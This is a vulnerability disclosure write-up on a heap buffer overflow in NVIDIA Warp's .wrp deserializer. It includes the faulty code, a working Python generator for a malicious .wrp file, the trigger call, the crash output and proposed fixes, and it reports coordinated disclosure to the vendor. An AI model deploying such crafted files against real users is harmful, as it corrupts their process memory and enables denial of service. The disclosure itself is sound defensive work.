Heap Buffer Overflow in NVIDIA Warp .wrp Deserializer

We discovered a heap buffer overflow in NVIDIA Warp’s .wrp graph deserializer. A crafted .wrp file triggers attacker-controlled heap corruption when loaded via wp.capture_load(), crashing the process with STATUS_ACCESS_VIOLATION (0xC0000005). The vulnerability was confirmed on Warp 1.13.0, Windows x64.

What is NVIDIA Warp?

NVIDIA Warp is a Python framework for high-performance simulation and graphics programming. It compiles Python kernels to native CPU/GPU code and is used in robotics, physics simulation, and machine learning pipelines. Warp supports capturing simulation graphs and saving them as .wrp files, a binary format designed for cross-process and cross-language graph replay.

The Bug

The .wrp loader has a two-phase design where two separate functions iterate the same memory section bytes from a single file. Each function has its own loop over the records, but they handle duplicate region_id entries differently, creating a size mismatch that leads to a heap buffer overflow.

Phase 1 - Parse region sizes

apic_parse_memory_regions() builds a map of memory regions. If a region_id already exists, the record is silently skipped. Only the first record’s size is stored.

// apic.cpp:616–622
if (graph->regions.find(rec->region_id) == graph->regions.end()) {
    APICRegion region;
    region.size = rec->size;          // stores size=16
    graph->regions[rec->region_id] = region;
}
// second record with same region_id falls through (never stored)

Phase 2 - Allocate and copy

apic_init_cpu_graph_memory() allocates each region using the stored sizes, then re-walks the same bytes to copy initial data. It does not skip duplicates; it processes every record.

// apic.cpp:448 - allocates using the stored (first) size
pair.second.ptr = malloc(pair.second.size);    // malloc(16)

// apic.cpp:479 - copies using the record's size (second, larger record)
memcpy(it->second.ptr, ptr, rec->size);        // memcpy(buf_16, data, 65536) OVERFLOW

The memcpy trusts rec->size from the file without checking it against the allocation size. A crafted file puts a small record first (controls malloc) and a large record second (controls memcpy), causing attacker-controlled data to spill past the allocation.

Both phases are called back-to-back with the same pointer:

// apic.cpp:1475
apic_parse_memory_regions(memory_ptr, memory_size, graph);    // phase 1
// apic.cpp:1484
apic_init_cpu_graph_memory(graph, memory_ptr, memory_size);   // phase 2

The Crafted .wrp File

The exploit requires a MEMORY section with two records sharing the same region_id but different sizes:

[region_count: uint32 = 2]
[Record 1]  region_id=5, size=16,    has_data=0   ← sets malloc size
[Record 2]  region_id=5, size=65536, has_data=1   ← sets memcpy size
[65536 bytes of attacker payload]                  ← written past 16-byte buffer

A legitimate .wrp never has duplicate region_id values. This is a malformed input the parser fails to reject.

Proof of Concept

Generating the crafted .wrp

The generator script builds a minimal valid .wrp with the two conflicting records:

import struct

def make_header(num_sections, section_table_offset):
    return struct.pack('<4sIII Q B3s I 32s',
        b"WRP1", 3, 0, num_sections, section_table_offset,
        1, b'\x00'*3, 0, b'\x00'*32)

def make_section_entry(sec_type, offset, size):
    return struct.pack('<II QQQ', sec_type, 0, offset, size, size)

def make_memory_region_record(region_id, size, element_size, has_data):
    return struct.pack('<II Q B 7s', region_id, element_size, size, has_data, b'\x00'*7)

metadata = struct.pack('<7I', 3, 0, 0, 0, 0, 0, 0)

# Poison pointer payload - appears in crash dumps as proof of control
POISON = struct.pack('<Q', 0xDEADBEEFDEADBEEF)
OVERFLOW_SIZE = 65536
payload = POISON * (OVERFLOW_SIZE // len(POISON))

rec1 = make_memory_region_record(5, 16, 4, 0)              # malloc(16)
rec2 = make_memory_region_record(5, OVERFLOW_SIZE, 4, 1)    # memcpy overflow
memory = struct.pack('<I', 2) + rec1 + rec2 + payload

operations = struct.pack('<I', 0)

data_start = 64 + 3*32
s1 = make_section_entry(0x01, data_start, len(metadata))
s2 = make_section_entry(0x02, data_start+len(metadata), len(memory))
s3 = make_section_entry(0x03, data_start+len(metadata)+len(memory), len(operations))

with open("evil_heap.wrp", "wb") as f:
    f.write(make_header(3, 64) + s1 + s2 + s3 + metadata + memory + operations)

Triggering the overflow

import warp as wp
wp.init()
graph = wp.capture_load("evil_heap", device="cpu")

Result

capture_load() returns successfully. The 65,536-byte memcpy into a 16-byte buffer completes silently. The heap is corrupted with the 0xDEADBEEFDEADBEEF poison pattern. When Python’s garbage collector tries to free the corrupted graph object, the process crashes:

PS> python poc_trigger.py
Warp 1.13.0 initialized:
   Devices:
     "cpu"      : "AMD64 Family 25 Model 117 Stepping 2, AuthenticAMD"
[!] heap corruption occurred but did not crash immediately
Exception ignored in: <function Graph.__del__ at 0x00000245AA44B1A0>
Traceback (most recent call last):
  File "...\warp\_src\context.py", line 4297, in __del__
OSError: exception: access violation reading 0xFFFFFFFFFFFFFFFF

The crash address (0xFFFFFFFFFFFFFFFF) comes from the attacker-controlled overflow payload corrupting a pointer inside the graph object. The process exits with code -1073741819 (0xC0000005, STATUS_ACCESS_VIOLATION). Normal Warp operations exit with code 0.

The same vulnerability also exists in the CUDA path. apic_init_memory() in apic.cu:155 does cudaMemcpy(it->second.ptr, ptr, rec->size, ...) with the same unchecked size.

Impact

.wrp is a portable format designed for sharing simulation captures. A user who receives a .wrp from a GitHub repo, model zoo, or colleague and loads it with wp.capture_load() expects it to be parsed as data, not to corrupt memory.

• Integrity: Attacker overwrites adjacent heap objects with controlled content (function pointers, vtables, allocator metadata)
• Availability: Guaranteed crash (DoS) when corrupted heap metadata is later accessed
• Confidentiality: The same parser has OOB read defects (apic_read_lp_string at apic.cpp:519) that trust file-controlled string lengths, potentially leaking heap contents

Suggested Fix

The .wrp parser trusts all file-controlled fields without validation. The core issue is that memcpy at apic.cpp:479 uses rec->size (from the file) without checking it against the allocation size. Three approaches to fix this, in order of preference:

1. Single-pass parse: Eliminate the second walk entirely. APICRegion already has an unused initial_data field. Store the region data there during the first parse pass, reject duplicate region_id entries, then have apic_init_cpu_graph_memory() copy from the stored data instead of re-reading the file. This makes it impossible for the allocation size and copy size to disagree, because both come from the same record in the same loop iteration.

2. Validate before copying: Keep the two-pass design, but check rec->size against the allocation size before the memcpy:

auto it = graph->regions.find(rec->region_id);
if (it != graph->regions.end() && it->second.ptr) {
    if (rec->size != it->second.size) {
        fprintf(stderr, "APIC: Error - size mismatch for region %u\n", rec->region_id);
        return false;
    }
    memcpy(it->second.ptr, ptr, it->second.size);
}

This catches the mismatch at the point of danger and rejects the file. Simple, minimal change, directly prevents the overflow.

3. Reject duplicate region_id entries: Add an else branch in apic_parse_memory_regions() that returns false when a duplicate is found. Without duplicates, the two passes always agree on sizes. Legitimate .wrp files never contain duplicates; the serializer writes each region exactly once.

All three fixes should also be applied to the CUDA path (apic_init_memory in apic.cu:155), which has the same unchecked rec->size in a cudaMemcpy call.

Disclosure

This vulnerability was reported to NVIDIA PSIRT via their Security Vulnerability Submission Form in accordance with their coordinated disclosure policy.

Timeline